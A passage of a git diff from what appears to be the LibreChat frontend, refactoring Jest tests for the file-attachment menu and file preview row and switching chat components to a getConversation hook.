|
||||||
});
|
});
|
||||||
|
|
||||||
describe('Supported Providers', () => {
|
describe('agent provider resolution scenario', () => {
|
||||||
const supportedProviders = [
|
it('shows "Upload to Provider" when agents endpoint has custom endpointType from provider', () => {
|
||||||
{ name: 'OpenAI', endpoint: EModelEndpoint.openAI },
|
setupMocks({ provider: 'Moonshot' });
|
||||||
{ name: 'Anthropic', endpoint: EModelEndpoint.anthropic },
|
renderMenu({
|
||||||
{ name: 'Google', endpoint: EModelEndpoint.google },
|
endpoint: EModelEndpoint.agents,
|
||||||
{ name: 'Custom', endpoint: EModelEndpoint.custom },
|
endpointType: EModelEndpoint.custom,
|
||||||
];
|
|
||||||
|
|
||||||
supportedProviders.forEach(({ name, endpoint }) => {
|
|
||||||
it(`should show Upload to Provider for ${name}`, () => {
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
|
||||||
fileSearchAllowedByAgent: false,
|
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: endpoint,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint,
|
|
||||||
endpointType: endpoint,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
|
||||||
});
|
});
|
||||||
});
|
openMenu();
|
||||||
|
|
||||||
it('should show Upload to Provider for Azure OpenAI with useResponsesApi', () => {
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
|
||||||
fileSearchAllowedByAgent: false,
|
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: EModelEndpoint.azureOpenAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: EModelEndpoint.azureOpenAI,
|
|
||||||
endpointType: EModelEndpoint.azureOpenAI,
|
|
||||||
useResponsesApi: true,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should NOT show Upload to Provider for Azure OpenAI without useResponsesApi', () => {
|
it('shows "Upload Image" when agents endpoint has no resolved provider type', () => {
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
setupMocks();
|
||||||
fileSearchAllowedByAgent: false,
|
renderMenu({
|
||||||
codeAllowedByAgent: false,
|
endpoint: EModelEndpoint.agents,
|
||||||
provider: EModelEndpoint.azureOpenAI,
|
endpointType: EModelEndpoint.agents,
|
||||||
});
|
});
|
||||||
|
openMenu();
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: EModelEndpoint.azureOpenAI,
|
|
||||||
endpointType: EModelEndpoint.azureOpenAI,
|
|
||||||
useResponsesApi: false,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
|
|
||||||
expect(screen.getByText('Upload Image')).toBeInTheDocument();
|
expect(screen.getByText('Upload Image')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('Basic Rendering', () => {
|
||||||
|
it('renders the attachment button', () => {
|
||||||
|
setupMocks();
|
||||||
|
renderMenu();
|
||||||
|
expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('is disabled when disabled prop is true', () => {
|
||||||
|
setupMocks();
|
||||||
|
renderMenu({ disabled: true });
|
||||||
|
expect(screen.getByRole('button', { name: /attach file options/i })).toBeDisabled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('is not disabled when disabled prop is false', () => {
|
||||||
|
setupMocks();
|
||||||
|
renderMenu({ disabled: false });
|
||||||
|
expect(screen.getByRole('button', { name: /attach file options/i })).not.toBeDisabled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('Agent Capabilities', () => {
|
describe('Agent Capabilities', () => {
|
||||||
it('should show OCR Text option when context is enabled', () => {
|
it('shows OCR Text option when context is enabled', () => {
|
||||||
|
setupMocks();
|
||||||
mockUseAgentCapabilities.mockReturnValue({
|
mockUseAgentCapabilities.mockReturnValue({
|
||||||
contextEnabled: true,
|
contextEnabled: true,
|
||||||
fileSearchEnabled: false,
|
fileSearchEnabled: false,
|
||||||
codeEnabled: false,
|
codeEnabled: false,
|
||||||
});
|
});
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.openAI });
|
||||||
renderAttachFileMenu({
|
openMenu();
|
||||||
endpointType: EModelEndpoint.openAI,
|
expect(screen.getByText('Upload as Text')).toBeInTheDocument();
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should show File Search option when enabled and allowed by agent', () => {
|
it('shows File Search option when enabled and allowed by agent', () => {
|
||||||
|
setupMocks();
|
||||||
mockUseAgentCapabilities.mockReturnValue({
|
mockUseAgentCapabilities.mockReturnValue({
|
||||||
contextEnabled: false,
|
contextEnabled: false,
|
||||||
fileSearchEnabled: true,
|
fileSearchEnabled: true,
|
||||||
codeEnabled: false,
|
codeEnabled: false,
|
||||||
});
|
});
|
||||||
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
mockUseAgentToolPermissions.mockReturnValue({
|
||||||
fileSearchAllowedByAgent: true,
|
fileSearchAllowedByAgent: true,
|
||||||
codeAllowedByAgent: false,
|
codeAllowedByAgent: false,
|
||||||
provider: undefined,
|
provider: undefined,
|
||||||
});
|
});
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.openAI });
|
||||||
renderAttachFileMenu({
|
openMenu();
|
||||||
endpointType: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
|
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should NOT show File Search when enabled but not allowed by agent', () => {
|
it('does NOT show File Search when enabled but not allowed by agent', () => {
|
||||||
|
setupMocks();
|
||||||
mockUseAgentCapabilities.mockReturnValue({
|
mockUseAgentCapabilities.mockReturnValue({
|
||||||
contextEnabled: false,
|
contextEnabled: false,
|
||||||
fileSearchEnabled: true,
|
fileSearchEnabled: true,
|
||||||
codeEnabled: false,
|
codeEnabled: false,
|
||||||
});
|
});
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.openAI });
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
openMenu();
|
||||||
fileSearchAllowedByAgent: false,
|
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: undefined,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpointType: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument();
|
expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should show Code Files option when enabled and allowed by agent', () => {
|
it('shows Code Files option when enabled and allowed by agent', () => {
|
||||||
|
setupMocks();
|
||||||
mockUseAgentCapabilities.mockReturnValue({
|
mockUseAgentCapabilities.mockReturnValue({
|
||||||
contextEnabled: false,
|
contextEnabled: false,
|
||||||
fileSearchEnabled: false,
|
fileSearchEnabled: false,
|
||||||
codeEnabled: true,
|
codeEnabled: true,
|
||||||
});
|
});
|
||||||
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
mockUseAgentToolPermissions.mockReturnValue({
|
||||||
fileSearchAllowedByAgent: false,
|
fileSearchAllowedByAgent: false,
|
||||||
codeAllowedByAgent: true,
|
codeAllowedByAgent: true,
|
||||||
provider: undefined,
|
provider: undefined,
|
||||||
});
|
});
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.openAI });
|
||||||
renderAttachFileMenu({
|
openMenu();
|
||||||
endpointType: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
|
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should show all options when all capabilities are enabled', () => {
|
it('shows all options when all capabilities are enabled', () => {
|
||||||
|
setupMocks();
|
||||||
mockUseAgentCapabilities.mockReturnValue({
|
mockUseAgentCapabilities.mockReturnValue({
|
||||||
contextEnabled: true,
|
contextEnabled: true,
|
||||||
fileSearchEnabled: true,
|
fileSearchEnabled: true,
|
||||||
codeEnabled: true,
|
codeEnabled: true,
|
||||||
});
|
});
|
||||||
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
mockUseAgentToolPermissions.mockReturnValue({
|
||||||
fileSearchAllowedByAgent: true,
|
fileSearchAllowedByAgent: true,
|
||||||
codeAllowedByAgent: true,
|
codeAllowedByAgent: true,
|
||||||
provider: undefined,
|
provider: undefined,
|
||||||
});
|
});
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.openAI });
|
||||||
renderAttachFileMenu({
|
openMenu();
|
||||||
endpointType: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
||||||
expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
|
expect(screen.getByText('Upload as Text')).toBeInTheDocument();
|
||||||
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
|
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
|
||||||
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
|
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('SharePoint Integration', () => {
|
describe('SharePoint Integration', () => {
|
||||||
it('should show SharePoint option when enabled', () => {
|
it('shows SharePoint option when enabled', () => {
|
||||||
|
setupMocks();
|
||||||
mockUseGetStartupConfig.mockReturnValue({
|
mockUseGetStartupConfig.mockReturnValue({
|
||||||
data: {
|
data: { sharePointFilePickerEnabled: true },
|
||||||
sharePointFilePickerEnabled: true,
|
|
||||||
},
|
|
||||||
});
|
});
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.openAI });
|
||||||
renderAttachFileMenu({
|
openMenu();
|
||||||
endpointType: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument();
|
expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should NOT show SharePoint option when disabled', () => {
|
it('does NOT show SharePoint option when disabled', () => {
|
||||||
mockUseGetStartupConfig.mockReturnValue({
|
setupMocks();
|
||||||
data: {
|
renderMenu({ endpointType: EModelEndpoint.openAI });
|
||||||
sharePointFilePickerEnabled: false,
|
openMenu();
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpointType: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument();
|
expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('Edge Cases', () => {
|
describe('Edge Cases', () => {
|
||||||
it('should handle undefined endpoint and provider gracefully', () => {
|
it('handles undefined endpoint and provider gracefully', () => {
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
setupMocks();
|
||||||
fileSearchAllowedByAgent: false,
|
renderMenu({ endpoint: undefined, endpointType: undefined });
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: undefined,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: undefined,
|
|
||||||
endpointType: undefined,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
const button = screen.getByRole('button', { name: /attach file options/i });
|
||||||
expect(button).toBeInTheDocument();
|
expect(button).toBeInTheDocument();
|
||||||
fireEvent.click(button);
|
fireEvent.click(button);
|
||||||
|
|
||||||
// Should show Upload Image as fallback
|
|
||||||
expect(screen.getByText('Upload Image')).toBeInTheDocument();
|
expect(screen.getByText('Upload Image')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should handle null endpoint and provider gracefully', () => {
|
it('handles null endpoint and provider gracefully', () => {
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
setupMocks();
|
||||||
fileSearchAllowedByAgent: false,
|
renderMenu({ endpoint: null, endpointType: null });
|
||||||
codeAllowedByAgent: false,
|
expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
|
||||||
provider: null,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: null,
|
|
||||||
endpointType: null,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
expect(button).toBeInTheDocument();
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should handle missing agentId gracefully', () => {
|
it('handles missing agentId gracefully', () => {
|
||||||
renderAttachFileMenu({
|
setupMocks();
|
||||||
agentId: undefined,
|
renderMenu({ agentId: undefined, endpointType: EModelEndpoint.openAI });
|
||||||
endpointType: EModelEndpoint.openAI,
|
expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
expect(button).toBeInTheDocument();
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should handle empty string agentId', () => {
|
it('handles empty string agentId', () => {
|
||||||
renderAttachFileMenu({
|
setupMocks();
|
||||||
agentId: '',
|
renderMenu({ agentId: '', endpointType: EModelEndpoint.openAI });
|
||||||
endpointType: EModelEndpoint.openAI,
|
expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
expect(button).toBeInTheDocument();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('Google Provider Special Case', () => {
|
|
||||||
it('should use image_document_video_audio file type for Google provider', () => {
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
|
||||||
fileSearchAllowedByAgent: false,
|
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: EModelEndpoint.google,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: EModelEndpoint.google,
|
|
||||||
endpointType: EModelEndpoint.google,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
const uploadProviderButton = screen.getByText('Upload to Provider');
|
|
||||||
expect(uploadProviderButton).toBeInTheDocument();
|
|
||||||
|
|
||||||
// Click the upload to provider option
|
|
||||||
fireEvent.click(uploadProviderButton);
|
|
||||||
|
|
||||||
// The file input should have been clicked (indirectly tested through the implementation)
|
|
||||||
});
|
|
||||||
|
|
||||||
it('should use image_document file type for non-Google providers', () => {
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
|
||||||
fileSearchAllowedByAgent: false,
|
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: EModelEndpoint.openAI,
|
|
||||||
endpointType: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
const uploadProviderButton = screen.getByText('Upload to Provider');
|
|
||||||
expect(uploadProviderButton).toBeInTheDocument();
|
|
||||||
fireEvent.click(uploadProviderButton);
|
|
||||||
|
|
||||||
// Implementation detail - image_document type is used
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('Regression Tests', () => {
|
|
||||||
it('should not break the previous behavior for direct provider attachments', () => {
|
|
||||||
// When using a direct supported provider (not through a gateway)
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
|
||||||
fileSearchAllowedByAgent: false,
|
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: EModelEndpoint.anthropic,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: EModelEndpoint.anthropic,
|
|
||||||
endpointType: EModelEndpoint.anthropic,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('should maintain correct priority when both are supported', () => {
|
|
||||||
// Both endpointType and provider are supported, endpointType should be checked first
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
|
||||||
fileSearchAllowedByAgent: false,
|
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: EModelEndpoint.google,
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: EModelEndpoint.google,
|
|
||||||
endpointType: EModelEndpoint.openAI, // Different but both supported
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
// Should still work because endpointType (openAI) is supported
|
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -21,6 +21,7 @@ jest.mock('~/utils', () => ({
|
||||||
logger: {
|
logger: {
|
||||||
log: jest.fn(),
|
log: jest.fn(),
|
||||||
},
|
},
|
||||||
|
getCachedPreview: jest.fn(() => undefined),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
jest.mock('../Image', () => {
|
jest.mock('../Image', () => {
|
||||||
|
|
@ -95,7 +96,7 @@ describe('FileRow', () => {
|
||||||
};
|
};
|
||||||
|
|
||||||
describe('Image URL Selection Logic', () => {
|
describe('Image URL Selection Logic', () => {
|
||||||
it('should use filepath instead of preview when progress is 1 (upload complete)', () => {
|
it('should prefer cached preview over filepath when upload is complete', () => {
|
||||||
const file = createMockFile({
|
const file = createMockFile({
|
||||||
file_id: 'uploaded-file',
|
file_id: 'uploaded-file',
|
||||||
preview: 'blob:http://localhost:3080/temp-preview',
|
preview: 'blob:http://localhost:3080/temp-preview',
|
||||||
|
|
@ -109,8 +110,7 @@ describe('FileRow', () => {
|
||||||
renderFileRow(filesMap);
|
renderFileRow(filesMap);
|
||||||
|
|
||||||
const imageUrl = screen.getByTestId('image-url').textContent;
|
const imageUrl = screen.getByTestId('image-url').textContent;
|
||||||
expect(imageUrl).toBe('/images/user123/uploaded-file__image.png');
|
expect(imageUrl).toBe('blob:http://localhost:3080/temp-preview');
|
||||||
expect(imageUrl).not.toContain('blob:');
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should use preview when progress is less than 1 (uploading)', () => {
|
it('should use preview when progress is less than 1 (uploading)', () => {
|
||||||
|
|
@ -147,7 +147,7 @@ describe('FileRow', () => {
|
||||||
expect(imageUrl).toBe('/images/user123/file-without-preview__image.png');
|
expect(imageUrl).toBe('/images/user123/file-without-preview__image.png');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should use filepath when both preview and filepath exist and progress is exactly 1', () => {
|
it('should prefer preview over filepath when both exist and progress is 1', () => {
|
||||||
const file = createMockFile({
|
const file = createMockFile({
|
||||||
file_id: 'complete-file',
|
file_id: 'complete-file',
|
||||||
preview: 'blob:http://localhost:3080/old-blob',
|
preview: 'blob:http://localhost:3080/old-blob',
|
||||||
|
|
@ -161,7 +161,7 @@ describe('FileRow', () => {
|
||||||
renderFileRow(filesMap);
|
renderFileRow(filesMap);
|
||||||
|
|
||||||
const imageUrl = screen.getByTestId('image-url').textContent;
|
const imageUrl = screen.getByTestId('image-url').textContent;
|
||||||
expect(imageUrl).toBe('/images/user123/complete-file__image.png');
|
expect(imageUrl).toBe('blob:http://localhost:3080/old-blob');
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
@ -284,7 +284,7 @@ describe('FileRow', () => {
|
||||||
|
|
||||||
const urls = screen.getAllByTestId('image-url').map((el) => el.textContent);
|
const urls = screen.getAllByTestId('image-url').map((el) => el.textContent);
|
||||||
expect(urls).toContain('blob:http://localhost:3080/preview-1');
|
expect(urls).toContain('blob:http://localhost:3080/preview-1');
|
||||||
expect(urls).toContain('/images/user123/file-2__image.png');
|
expect(urls).toContain('blob:http://localhost:3080/preview-2');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should deduplicate files with the same file_id', () => {
|
it('should deduplicate files with the same file_id', () => {
|
||||||
|
|
@ -321,10 +321,10 @@ describe('FileRow', () => {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('Regression: Blob URL Bug Fix', () => {
|
describe('Preview Cache Integration', () => {
|
||||||
it('should NOT use revoked blob URL after upload completes', () => {
|
it('should prefer preview blob URL over filepath for zero-flicker rendering', () => {
|
||||||
const file = createMockFile({
|
const file = createMockFile({
|
||||||
file_id: 'regression-test',
|
file_id: 'cache-test',
|
||||||
preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b',
|
preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b',
|
||||||
filepath:
|
filepath:
|
||||||
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
|
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
|
||||||
|
|
@ -337,8 +337,24 @@ describe('FileRow', () => {
|
||||||
renderFileRow(filesMap);
|
renderFileRow(filesMap);
|
||||||
|
|
||||||
const imageUrl = screen.getByTestId('image-url').textContent;
|
const imageUrl = screen.getByTestId('image-url').textContent;
|
||||||
|
expect(imageUrl).toBe('blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b');
|
||||||
|
});
|
||||||
|
|
||||||
expect(imageUrl).not.toContain('blob:');
|
it('should fall back to filepath when no preview exists', () => {
|
||||||
|
const file = createMockFile({
|
||||||
|
file_id: 'no-preview',
|
||||||
|
preview: undefined,
|
||||||
|
filepath:
|
||||||
|
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
|
||||||
|
progress: 1,
|
||||||
|
});
|
||||||
|
|
||||||
|
const filesMap = new Map<string, ExtendedFile>();
|
||||||
|
filesMap.set(file.file_id, file);
|
||||||
|
|
||||||
|
renderFileRow(filesMap);
|
||||||
|
|
||||||
|
const imageUrl = screen.getByTestId('image-url').textContent;
|
||||||
expect(imageUrl).toBe(
|
expect(imageUrl).toBe(
|
||||||
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
|
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
|
||||||
);
|
);
|
||||||
|
|
|
||||||
|
|
@ -2,11 +2,10 @@ import { useState, useRef, useEffect } from 'react';
|
||||||
import { useCombobox } from '@librechat/client';
|
import { useCombobox } from '@librechat/client';
|
||||||
import { AutoSizer, List } from 'react-virtualized';
|
import { AutoSizer, List } from 'react-virtualized';
|
||||||
import { EModelEndpoint } from 'librechat-data-provider';
|
import { EModelEndpoint } from 'librechat-data-provider';
|
||||||
import type { TConversation } from 'librechat-data-provider';
|
|
||||||
import type { MentionOption, ConvoGenerator } from '~/common';
|
import type { MentionOption, ConvoGenerator } from '~/common';
|
||||||
import type { SetterOrUpdater } from 'recoil';
|
import type { SetterOrUpdater } from 'recoil';
|
||||||
|
import { useGetConversation, useLocalize, TranslationKeys } from '~/hooks';
|
||||||
import useSelectMention from '~/hooks/Input/useSelectMention';
|
import useSelectMention from '~/hooks/Input/useSelectMention';
|
||||||
import { useLocalize, TranslationKeys } from '~/hooks';
|
|
||||||
import { useAssistantsMapContext } from '~/Providers';
|
import { useAssistantsMapContext } from '~/Providers';
|
||||||
import useMentions from '~/hooks/Input/useMentions';
|
import useMentions from '~/hooks/Input/useMentions';
|
||||||
import { removeCharIfLast } from '~/utils';
|
import { removeCharIfLast } from '~/utils';
|
||||||
|
|
@ -15,7 +14,6 @@ import MentionItem from './MentionItem';
|
||||||
const ROW_HEIGHT = 44;
|
const ROW_HEIGHT = 44;
|
||||||
|
|
||||||
export default function Mention({
|
export default function Mention({
|
||||||
conversation,
|
|
||||||
setShowMentionPopover,
|
setShowMentionPopover,
|
||||||
newConversation,
|
newConversation,
|
||||||
textAreaRef,
|
textAreaRef,
|
||||||
|
|
@ -23,7 +21,6 @@ export default function Mention({
|
||||||
placeholder = 'com_ui_mention',
|
placeholder = 'com_ui_mention',
|
||||||
includeAssistants = true,
|
includeAssistants = true,
|
||||||
}: {
|
}: {
|
||||||
conversation: TConversation | null;
|
|
||||||
setShowMentionPopover: SetterOrUpdater<boolean>;
|
setShowMentionPopover: SetterOrUpdater<boolean>;
|
||||||
newConversation: ConvoGenerator;
|
newConversation: ConvoGenerator;
|
||||||
textAreaRef: React.MutableRefObject<HTMLTextAreaElement | null>;
|
textAreaRef: React.MutableRefObject<HTMLTextAreaElement | null>;
|
||||||
|
|
@ -32,6 +29,7 @@ export default function Mention({
|
||||||
includeAssistants?: boolean;
|
includeAssistants?: boolean;
|
||||||
}) {
|
}) {
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
|
const getConversation = useGetConversation(0);
|
||||||
const assistantsMap = useAssistantsMapContext();
|
const assistantsMap = useAssistantsMapContext();
|
||||||
const {
|
const {
|
||||||
options,
|
options,
|
||||||
|
|
@ -45,9 +43,9 @@ export default function Mention({
|
||||||
const { onSelectMention } = useSelectMention({
|
const { onSelectMention } = useSelectMention({
|
||||||
presets,
|
presets,
|
||||||
modelSpecs,
|
modelSpecs,
|
||||||
conversation,
|
|
||||||
assistantsMap,
|
assistantsMap,
|
||||||
endpointsConfig,
|
endpointsConfig,
|
||||||
|
getConversation,
|
||||||
newConversation,
|
newConversation,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,9 @@
|
||||||
import React, { createContext, useContext, useMemo } from 'react';
|
import React, { createContext, useCallback, useContext, useMemo, useRef } from 'react';
|
||||||
|
import { useRecoilValue } from 'recoil';
|
||||||
import type { EModelEndpoint, TConversation } from 'librechat-data-provider';
|
import type { EModelEndpoint, TConversation } from 'librechat-data-provider';
|
||||||
import { useChatContext } from '~/Providers/ChatContext';
|
import type { ConvoGenerator } from '~/common';
|
||||||
|
import { useGetConversation, useNewConvo } from '~/hooks';
|
||||||
|
import store from '~/store';
|
||||||
|
|
||||||
interface ModelSelectorChatContextValue {
|
interface ModelSelectorChatContextValue {
|
||||||
endpoint?: EModelEndpoint | null;
|
endpoint?: EModelEndpoint | null;
|
||||||
|
|
@ -8,8 +11,8 @@ interface ModelSelectorChatContextValue {
|
||||||
spec?: string | null;
|
spec?: string | null;
|
||||||
agent_id?: string | null;
|
agent_id?: string | null;
|
||||||
assistant_id?: string | null;
|
assistant_id?: string | null;
|
||||||
conversation: TConversation | null;
|
getConversation: () => TConversation | null;
|
||||||
newConversation: ReturnType<typeof useChatContext>['newConversation'];
|
newConversation: ConvoGenerator;
|
||||||
}
|
}
|
||||||
|
|
||||||
const ModelSelectorChatContext = createContext<ModelSelectorChatContextValue | undefined>(
|
const ModelSelectorChatContext = createContext<ModelSelectorChatContextValue | undefined>(
|
||||||
|
|
@ -17,20 +20,34 @@ const ModelSelectorChatContext = createContext<ModelSelectorChatContextValue | u
|
||||||
);
|
);
|
||||||
|
|
||||||
export function ModelSelectorChatProvider({ children }: { children: React.ReactNode }) {
|
export function ModelSelectorChatProvider({ children }: { children: React.ReactNode }) {
|
||||||
const { conversation, newConversation } = useChatContext();
|
const getConversation = useGetConversation(0);
|
||||||
|
const { newConversation: nextNewConversation } = useNewConvo();
|
||||||
|
|
||||||
|
